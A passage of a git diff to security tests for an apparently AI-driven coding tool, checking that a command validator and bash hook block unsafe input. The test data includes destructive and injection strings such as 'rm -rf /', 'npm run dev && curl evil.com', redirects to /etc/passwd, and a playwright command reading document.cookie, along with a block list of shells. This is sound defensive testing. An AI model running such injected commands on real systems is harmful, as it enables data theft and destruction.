|
||||||
|
def test_rm_rf(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("rm -rf /")
|
||||||
|
|
||||||
|
def test_npm_arbitrary_script(self):
|
||||||
|
with pytest.raises(ValueError, match="npm custom_command"):
|
||||||
|
validate_custom_command_strict("npm run postinstall")
|
||||||
|
|
||||||
|
def test_npm_exec(self):
|
||||||
|
with pytest.raises(ValueError, match="npm custom_command"):
|
||||||
|
validate_custom_command_strict("npm exec evil-package")
|
||||||
|
|
||||||
|
def test_pnpm_arbitrary_script(self):
|
||||||
|
with pytest.raises(ValueError, match="pnpm custom_command"):
|
||||||
|
validate_custom_command_strict("pnpm run postinstall")
|
||||||
|
|
||||||
|
def test_yarn_arbitrary_script(self):
|
||||||
|
with pytest.raises(ValueError, match="yarn custom_command"):
|
||||||
|
validate_custom_command_strict("yarn run postinstall")
|
||||||
|
|
||||||
|
def test_uvicorn_no_app(self):
|
||||||
|
with pytest.raises(ValueError, match="must specify an app"):
|
||||||
|
validate_custom_command_strict("uvicorn --reload")
|
||||||
|
|
||||||
|
def test_uvicorn_disallowed_flag(self):
|
||||||
|
with pytest.raises(ValueError, match="flag not allowed"):
|
||||||
|
validate_custom_command_strict("uvicorn main:app --factory")
|
||||||
|
|
||||||
|
def test_flask_no_run(self):
|
||||||
|
with pytest.raises(ValueError, match="flask custom_command"):
|
||||||
|
validate_custom_command_strict("flask shell")
|
||||||
|
|
||||||
|
def test_poetry_no_run(self):
|
||||||
|
with pytest.raises(ValueError, match="poetry custom_command"):
|
||||||
|
validate_custom_command_strict("poetry install")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Injection attempts
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestInjectionAttempts:
|
||||||
|
"""Adversarial inputs that attempt to bypass validation."""
|
||||||
|
|
||||||
|
def test_shell_via_path_traversal(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("/bin/sh -c 'echo hacked'")
|
||||||
|
|
||||||
|
def test_shell_via_relative_path(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("../../bin/bash -c whoami")
|
||||||
|
|
||||||
|
def test_none_input(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict(None) # type: ignore[arg-type]
|
||||||
|
|
||||||
|
def test_integer_input(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict(123) # type: ignore[arg-type]
|
||||||
|
|
||||||
|
def test_python_dash_c_uppercase(self):
|
||||||
|
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||||
|
validate_custom_command_strict("python -C 'exec(evil)'")
|
||||||
|
|
||||||
|
def test_powershell_via_path(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("C:\\Windows\\System32\\powershell.exe -c Get-Process")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# dev_server_manager.py - dangerous_ops blocking
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestDangerousOpsBlocking:
|
||||||
|
"""Test the metacharacter blocking in dev_server_manager.start()."""
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def manager(self, tmp_path):
|
||||||
|
from server.services.dev_server_manager import DevServerProcessManager
|
||||||
|
return DevServerProcessManager("test-project", tmp_path)
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
@pytest.mark.parametrize("cmd,desc", [
|
||||||
|
("npm run dev && curl evil.com", "double ampersand"),
|
||||||
|
("npm run dev & curl evil.com", "single ampersand"),
|
||||||
|
("npm run dev || curl evil.com", "double pipe"),
|
||||||
|
("npm run dev | curl evil.com", "single pipe"),
|
||||||
|
("npm run dev ; curl evil.com", "semicolon"),
|
||||||
|
("npm run dev `curl evil.com`", "backtick"),
|
||||||
|
("npm run dev $(curl evil.com)", "dollar paren"),
|
||||||
|
("npm run dev > /etc/passwd", "output redirect"),
|
||||||
|
("npm run dev < /etc/passwd", "input redirect"),
|
||||||
|
("npm run dev ^& calc", "caret escape"),
|
||||||
|
("npm run %COMSPEC%", "percent env expansion"),
|
||||||
|
])
|
||||||
|
async def test_blocks_shell_operator(self, manager, cmd, desc):
|
||||||
|
success, message = await manager.start(cmd)
|
||||||
|
assert not success, f"Should block {desc}: {cmd}"
|
||||||
|
assert "not allowed" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_newline_injection(self, manager):
|
||||||
|
success, message = await manager.start("npm run dev\ncurl evil.com")
|
||||||
|
assert not success
|
||||||
|
assert "newline" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_carriage_return(self, manager):
|
||||||
|
success, message = await manager.start("npm run dev\r\ncurl evil.com")
|
||||||
|
assert not success
|
||||||
|
assert "newline" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh"])
|
||||||
|
async def test_blocks_shell_runners(self, manager, shell):
|
||||||
|
success, message = await manager.start(f"{shell} -c 'echo hacked'")
|
||||||
|
assert not success
|
||||||
|
assert "not allowed" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_empty_command(self, manager):
|
||||||
|
success, message = await manager.start("")
|
||||||
|
assert not success
|
||||||
|
assert "empty" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_whitespace_command(self, manager):
|
||||||
|
success, message = await manager.start(" ")
|
||||||
|
assert not success
|
||||||
|
assert "empty" in message.lower()
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Constants validation
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestConstants:
|
||||||
|
"""Verify security constants are properly defined."""
|
||||||
|
|
||||||
|
def test_all_common_shells_blocked(self):
|
||||||
|
for shell in ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"]:
|
||||||
|
assert shell in BLOCKED_SHELLS, f"{shell} should be in BLOCKED_SHELLS"
|
||||||
|
|
||||||
|
def test_common_npm_scripts_allowed(self):
|
||||||
|
for script in ["dev", "start", "serve", "preview"]:
|
||||||
|
assert script in ALLOWED_NPM_SCRIPTS, f"{script} should be in ALLOWED_NPM_SCRIPTS"
|
||||||
|
|
||||||
|
def test_common_python_modules_allowed(self):
|
||||||
|
for mod in ["uvicorn", "flask", "gunicorn"]:
|
||||||
|
assert mod in ALLOWED_PYTHON_MODULES, f"{mod} should be in ALLOWED_PYTHON_MODULES"
|
||||||
|
|
||||||
|
def test_common_runners_allowed(self):
|
||||||
|
for runner in ["npm", "pnpm", "yarn", "python", "python3", "uvicorn", "flask", "cargo", "go"]:
|
||||||
|
assert runner in ALLOWED_RUNNERS, f"{runner} should be in ALLOWED_RUNNERS"
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
pytest.main([__file__, "-v"])
|
||||||
125
test_security.py
125
test_security.py
@@ -25,6 +25,7 @@ from security import (
|
|||||||
validate_chmod_command,
|
validate_chmod_command,
|
||||||
validate_init_script,
|
validate_init_script,
|
||||||
validate_pkill_command,
|
validate_pkill_command,
|
||||||
|
validate_playwright_command,
|
||||||
validate_project_command,
|
validate_project_command,
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -273,11 +274,11 @@ def test_yaml_loading():
|
|||||||
|
|
||||||
with tempfile.TemporaryDirectory() as tmpdir:
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
|
|
||||||
# Test 1: Valid YAML
|
# Test 1: Valid YAML
|
||||||
config_path = autocoder_dir / "allowed_commands.yaml"
|
config_path = autoforge_dir / "allowed_commands.yaml"
|
||||||
config_path.write_text("""version: 1
|
config_path.write_text("""version: 1
|
||||||
commands:
|
commands:
|
||||||
- name: swift
|
- name: swift
|
||||||
@@ -297,7 +298,7 @@ commands:
|
|||||||
failed += 1
|
failed += 1
|
||||||
|
|
||||||
# Test 2: Missing file returns None
|
# Test 2: Missing file returns None
|
||||||
(project_dir / ".autocoder" / "allowed_commands.yaml").unlink()
|
(project_dir / ".autoforge" / "allowed_commands.yaml").unlink()
|
||||||
config = load_project_commands(project_dir)
|
config = load_project_commands(project_dir)
|
||||||
if config is None:
|
if config is None:
|
||||||
print(" PASS: Missing file returns None")
|
print(" PASS: Missing file returns None")
|
||||||
@@ -407,11 +408,11 @@ def test_project_commands():
|
|||||||
|
|
||||||
with tempfile.TemporaryDirectory() as tmpdir:
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
|
|
||||||
# Create a config with Swift commands
|
# Create a config with Swift commands
|
||||||
config_path = autocoder_dir / "allowed_commands.yaml"
|
config_path = autoforge_dir / "allowed_commands.yaml"
|
||||||
config_path.write_text("""version: 1
|
config_path.write_text("""version: 1
|
||||||
commands:
|
commands:
|
||||||
- name: swift
|
- name: swift
|
||||||
@@ -482,7 +483,7 @@ def test_org_config_loading():
|
|||||||
with tempfile.TemporaryDirectory() as tmpdir:
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
# Use temporary_home for cross-platform compatibility
|
# Use temporary_home for cross-platform compatibility
|
||||||
with temporary_home(tmpdir):
|
with temporary_home(tmpdir):
|
||||||
org_dir = Path(tmpdir) / ".autocoder"
|
org_dir = Path(tmpdir) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -576,7 +577,7 @@ def test_hierarchy_resolution():
|
|||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
# Use temporary_home for cross-platform compatibility
|
# Use temporary_home for cross-platform compatibility
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -593,9 +594,9 @@ blocked_commands:
|
|||||||
""")
|
""")
|
||||||
|
|
||||||
project_dir = Path(tmpproject)
|
project_dir = Path(tmpproject)
|
||||||
project_autocoder = project_dir / ".autocoder"
|
project_autoforge = project_dir / ".autoforge"
|
||||||
project_autocoder.mkdir()
|
project_autoforge.mkdir()
|
||||||
project_config = project_autocoder / "allowed_commands.yaml"
|
project_config = project_autoforge / "allowed_commands.yaml"
|
||||||
|
|
||||||
# Create project config
|
# Create project config
|
||||||
project_config.write_text("""version: 1
|
project_config.write_text("""version: 1
|
||||||
@@ -660,7 +661,7 @@ def test_org_blocklist_enforcement():
|
|||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
# Use temporary_home for cross-platform compatibility
|
# Use temporary_home for cross-platform compatibility
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -671,8 +672,8 @@ blocked_commands:
|
|||||||
""")
|
""")
|
||||||
|
|
||||||
project_dir = Path(tmpproject)
|
project_dir = Path(tmpproject)
|
||||||
project_autocoder = project_dir / ".autocoder"
|
project_autoforge = project_dir / ".autoforge"
|
||||||
project_autocoder.mkdir()
|
project_autoforge.mkdir()
|
||||||
|
|
||||||
# Try to use terraform (should be blocked)
|
# Try to use terraform (should be blocked)
|
||||||
input_data = {"tool_name": "Bash", "tool_input": {"command": "terraform apply"}}
|
input_data = {"tool_name": "Bash", "tool_input": {"command": "terraform apply"}}
|
||||||
@@ -735,7 +736,7 @@ def test_pkill_extensibility():
|
|||||||
with tempfile.TemporaryDirectory() as tmphome:
|
with tempfile.TemporaryDirectory() as tmphome:
|
||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -762,9 +763,9 @@ pkill_processes:
|
|||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
project_dir = Path(tmpproject)
|
project_dir = Path(tmpproject)
|
||||||
project_autocoder = project_dir / ".autocoder"
|
project_autoforge = project_dir / ".autoforge"
|
||||||
project_autocoder.mkdir()
|
project_autoforge.mkdir()
|
||||||
project_config = project_autocoder / "allowed_commands.yaml"
|
project_config = project_autoforge / "allowed_commands.yaml"
|
||||||
|
|
||||||
# Create project config with extra pkill processes
|
# Create project config with extra pkill processes
|
||||||
project_config.write_text("""version: 1
|
project_config.write_text("""version: 1
|
||||||
@@ -804,7 +805,7 @@ pkill_processes:
|
|||||||
with tempfile.TemporaryDirectory() as tmphome:
|
with tempfile.TemporaryDirectory() as tmphome:
|
||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -829,7 +830,7 @@ pkill_processes:
|
|||||||
with tempfile.TemporaryDirectory() as tmphome:
|
with tempfile.TemporaryDirectory() as tmphome:
|
||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -851,7 +852,7 @@ pkill_processes:
|
|||||||
with tempfile.TemporaryDirectory() as tmphome:
|
with tempfile.TemporaryDirectory() as tmphome:
|
||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -875,7 +876,7 @@ pkill_processes:
|
|||||||
with tempfile.TemporaryDirectory() as tmphome:
|
with tempfile.TemporaryDirectory() as tmphome:
|
||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
org_config_path = org_dir / "config.yaml"
|
org_config_path = org_dir / "config.yaml"
|
||||||
|
|
||||||
@@ -923,6 +924,70 @@ pkill_processes:
|
|||||||
return passed, failed
|
return passed, failed
|
||||||
|
|
||||||
|
|
||||||
|
def test_playwright_cli_validation():
|
||||||
|
"""Test playwright-cli subcommand validation."""
|
||||||
|
print("\nTesting playwright-cli validation:\n")
|
||||||
|
passed = 0
|
||||||
|
failed = 0
|
||||||
|
|
||||||
|
# Test cases: (command, should_be_allowed, description)
|
||||||
|
test_cases = [
|
||||||
|
# Allowed cases
|
||||||
|
("playwright-cli screenshot", True, "screenshot allowed"),
|
||||||
|
("playwright-cli snapshot", True, "snapshot allowed"),
|
||||||
|
("playwright-cli click e5", True, "click with ref"),
|
||||||
|
("playwright-cli open http://localhost:3000", True, "open URL"),
|
||||||
|
("playwright-cli -s=agent-1 click e5", True, "session flag with click"),
|
||||||
|
("playwright-cli close", True, "close browser"),
|
||||||
|
("playwright-cli goto http://localhost:3000/page", True, "goto URL"),
|
||||||
|
("playwright-cli fill e3 'test value'", True, "fill form field"),
|
||||||
|
("playwright-cli console", True, "console messages"),
|
||||||
|
# Blocked cases
|
||||||
|
("playwright-cli run-code 'await page.evaluate(() => {})'", False, "run-code blocked"),
|
||||||
|
("playwright-cli eval 'document.title'", False, "eval blocked"),
|
||||||
|
("playwright-cli -s=test eval 'document.title'", False, "eval with session flag blocked"),
|
||||||
|
]
|
||||||
|
|
||||||
|
for cmd, should_allow, description in test_cases:
|
||||||
|
allowed, reason = validate_playwright_command(cmd)
|
||||||
|
if allowed == should_allow:
|
||||||
|
print(f" PASS: {cmd!r} ({description})")
|
||||||
|
passed += 1
|
||||||
|
else:
|
||||||
|
expected = "allowed" if should_allow else "blocked"
|
||||||
|
actual = "allowed" if allowed else "blocked"
|
||||||
|
print(f" FAIL: {cmd!r} ({description})")
|
||||||
|
print(f" Expected: {expected}, Got: {actual}")
|
||||||
|
if reason:
|
||||||
|
print(f" Reason: {reason}")
|
||||||
|
failed += 1
|
||||||
|
|
||||||
|
# Integration test: verify through the security hook
|
||||||
|
print("\n Integration tests (via security hook):\n")
|
||||||
|
|
||||||
|
# playwright-cli screenshot should be allowed
|
||||||
|
input_data = {"tool_name": "Bash", "tool_input": {"command": "playwright-cli screenshot"}}
|
||||||
|
result = asyncio.run(bash_security_hook(input_data))
|
||||||
|
if result.get("decision") != "block":
|
||||||
|
print(" PASS: playwright-cli screenshot allowed via hook")
|
||||||
|
passed += 1
|
||||||
|
else:
|
||||||
|
print(f" FAIL: playwright-cli screenshot should be allowed: {result.get('reason')}")
|
||||||
|
failed += 1
|
||||||
|
|
||||||
|
# playwright-cli run-code should be blocked
|
||||||
|
input_data = {"tool_name": "Bash", "tool_input": {"command": "playwright-cli run-code 'code'"}}
|
||||||
|
result = asyncio.run(bash_security_hook(input_data))
|
||||||
|
if result.get("decision") == "block":
|
||||||
|
print(" PASS: playwright-cli run-code blocked via hook")
|
||||||
|
passed += 1
|
||||||
|
else:
|
||||||
|
print(" FAIL: playwright-cli run-code should be blocked via hook")
|
||||||
|
failed += 1
|
||||||
|
|
||||||
|
return passed, failed
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
print("=" * 70)
|
print("=" * 70)
|
||||||
print(" SECURITY HOOK TESTS")
|
print(" SECURITY HOOK TESTS")
|
||||||
@@ -991,6 +1056,11 @@ def main():
|
|||||||
passed += pkill_passed
|
passed += pkill_passed
|
||||||
failed += pkill_failed
|
failed += pkill_failed
|
||||||
|
|
||||||
|
# Test playwright-cli validation
|
||||||
|
pw_passed, pw_failed = test_playwright_cli_validation()
|
||||||
|
passed += pw_passed
|
||||||
|
failed += pw_failed
|
||||||
|
|
||||||
# Commands that SHOULD be blocked
|
# Commands that SHOULD be blocked
|
||||||
# Note: blocklisted commands (sudo, shutdown, dd, aws) are tested in
|
# Note: blocklisted commands (sudo, shutdown, dd, aws) are tested in
|
||||||
# test_blocklist_enforcement(). chmod validation is tested in
|
# test_blocklist_enforcement(). chmod validation is tested in
|
||||||
@@ -1012,6 +1082,9 @@ def main():
|
|||||||
# Shell injection attempts
|
# Shell injection attempts
|
||||||
"$(echo pkill) node",
|
"$(echo pkill) node",
|
||||||
'eval "pkill node"',
|
'eval "pkill node"',
|
||||||
|
# playwright-cli dangerous subcommands
|
||||||
|
"playwright-cli run-code 'await page.goto(\"http://evil.com\")'",
|
||||||
|
"playwright-cli eval 'document.cookie'",
|
||||||
]
|
]
|
||||||
|
|
||||||
for cmd in dangerous:
|
for cmd in dangerous:
|
||||||
@@ -1077,6 +1150,12 @@ def main():
|
|||||||
"/usr/local/bin/node app.js",
|
"/usr/local/bin/node app.js",
|
||||||
# Combined chmod and init.sh (integration test for both validators)
|
# Combined chmod and init.sh (integration test for both validators)
|
||||||
"chmod +x init.sh && ./init.sh",
|
"chmod +x init.sh && ./init.sh",
|
||||||
|
# Playwright CLI allowed commands
|
||||||
|
"playwright-cli open http://localhost:3000",
|
||||||
|
"playwright-cli screenshot",
|
||||||
|
"playwright-cli snapshot",
|
||||||
|
"playwright-cli click e5",
|
||||||
|
"playwright-cli -s=agent-1 close",
|
||||||
]
|
]
|
||||||
|
|
||||||
for cmd in safe:
|
for cmd in safe:
|
||||||
|
|||||||
@@ -79,9 +79,9 @@ def test_blocked_command_via_hook():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create minimal project structure
|
# Create minimal project structure
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||||
"version: 1\ncommands: []"
|
"version: 1\ncommands: []"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -114,9 +114,9 @@ def test_allowed_command_via_hook():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create minimal project structure
|
# Create minimal project structure
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||||
"version: 1\ncommands: []"
|
"version: 1\ncommands: []"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -145,9 +145,9 @@ def test_non_allowed_command_via_hook():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create minimal project structure
|
# Create minimal project structure
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||||
"version: 1\ncommands: []"
|
"version: 1\ncommands: []"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -179,9 +179,9 @@ def test_project_config_allows_command():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create project config with swift allowed
|
# Create project config with swift allowed
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text("""version: 1
|
(autoforge_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||||
commands:
|
commands:
|
||||||
- name: swift
|
- name: swift
|
||||||
description: Swift compiler
|
description: Swift compiler
|
||||||
@@ -214,9 +214,9 @@ def test_pattern_matching():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create project config with swift* pattern
|
# Create project config with swift* pattern
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text("""version: 1
|
(autoforge_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||||
commands:
|
commands:
|
||||||
- name: swift*
|
- name: swift*
|
||||||
description: All Swift tools
|
description: All Swift tools
|
||||||
@@ -247,7 +247,7 @@ def test_org_blocklist_enforcement():
|
|||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
# Use context manager to safely set and restore HOME
|
# Use context manager to safely set and restore HOME
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
(org_dir / "config.yaml").write_text("""version: 1
|
(org_dir / "config.yaml").write_text("""version: 1
|
||||||
allowed_commands: []
|
allowed_commands: []
|
||||||
@@ -257,11 +257,11 @@ blocked_commands:
|
|||||||
""")
|
""")
|
||||||
|
|
||||||
project_dir = Path(tmpproject)
|
project_dir = Path(tmpproject)
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
|
|
||||||
# Try to allow terraform in project config (should fail - org blocked)
|
# Try to allow terraform in project config (should fail - org blocked)
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text("""version: 1
|
(autoforge_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||||
commands:
|
commands:
|
||||||
- name: terraform
|
- name: terraform
|
||||||
description: Infrastructure as code
|
description: Infrastructure as code
|
||||||
@@ -295,7 +295,7 @@ def test_org_allowlist_inheritance():
|
|||||||
with tempfile.TemporaryDirectory() as tmpproject:
|
with tempfile.TemporaryDirectory() as tmpproject:
|
||||||
# Use context manager to safely set and restore HOME
|
# Use context manager to safely set and restore HOME
|
||||||
with temporary_home(tmphome):
|
with temporary_home(tmphome):
|
||||||
org_dir = Path(tmphome) / ".autocoder"
|
org_dir = Path(tmphome) / ".autoforge"
|
||||||
org_dir.mkdir()
|
org_dir.mkdir()
|
||||||
(org_dir / "config.yaml").write_text("""version: 1
|
(org_dir / "config.yaml").write_text("""version: 1
|
||||||
allowed_commands:
|
allowed_commands:
|
||||||
@@ -305,9 +305,9 @@ blocked_commands: []
|
|||||||
""")
|
""")
|
||||||
|
|
||||||
project_dir = Path(tmpproject)
|
project_dir = Path(tmpproject)
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||||
"version: 1\ncommands: []"
|
"version: 1\ncommands: []"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -336,9 +336,9 @@ def test_invalid_yaml_ignored():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create invalid YAML
|
# Create invalid YAML
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text("invalid: yaml: content:")
|
(autoforge_dir / "allowed_commands.yaml").write_text("invalid: yaml: content:")
|
||||||
|
|
||||||
# Try to run ls (should still work - falls back to defaults)
|
# Try to run ls (should still work - falls back to defaults)
|
||||||
input_data = {"tool_name": "Bash", "tool_input": {"command": "ls"}}
|
input_data = {"tool_name": "Bash", "tool_input": {"command": "ls"}}
|
||||||
@@ -365,13 +365,13 @@ def test_100_command_limit():
|
|||||||
project_dir = Path(tmpdir)
|
project_dir = Path(tmpdir)
|
||||||
|
|
||||||
# Create config with 101 commands
|
# Create config with 101 commands
|
||||||
autocoder_dir = project_dir / ".autocoder"
|
autoforge_dir = project_dir / ".autoforge"
|
||||||
autocoder_dir.mkdir()
|
autoforge_dir.mkdir()
|
||||||
|
|
||||||
commands = [
|
commands = [
|
||||||
f" - name: cmd{i}\n description: Command {i}" for i in range(101)
|
f" - name: cmd{i}\n description: Command {i}" for i in range(101)
|
||||||
]
|
]
|
||||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||||
"version: 1\ncommands:\n" + "\n".join(commands)
|
"version: 1\ncommands:\n" + "\n".join(commands)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
47
ui/e2e/tooltip.spec.ts
Normal file
47
ui/e2e/tooltip.spec.ts
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
import { test, expect } from '@playwright/test'
|
||||||
|
|
||||||
|
/**
|
||||||
|
* E2E tooltip tests for header icon buttons.
|
||||||
|
*
|
||||||
|
* Run tests:
|
||||||
|
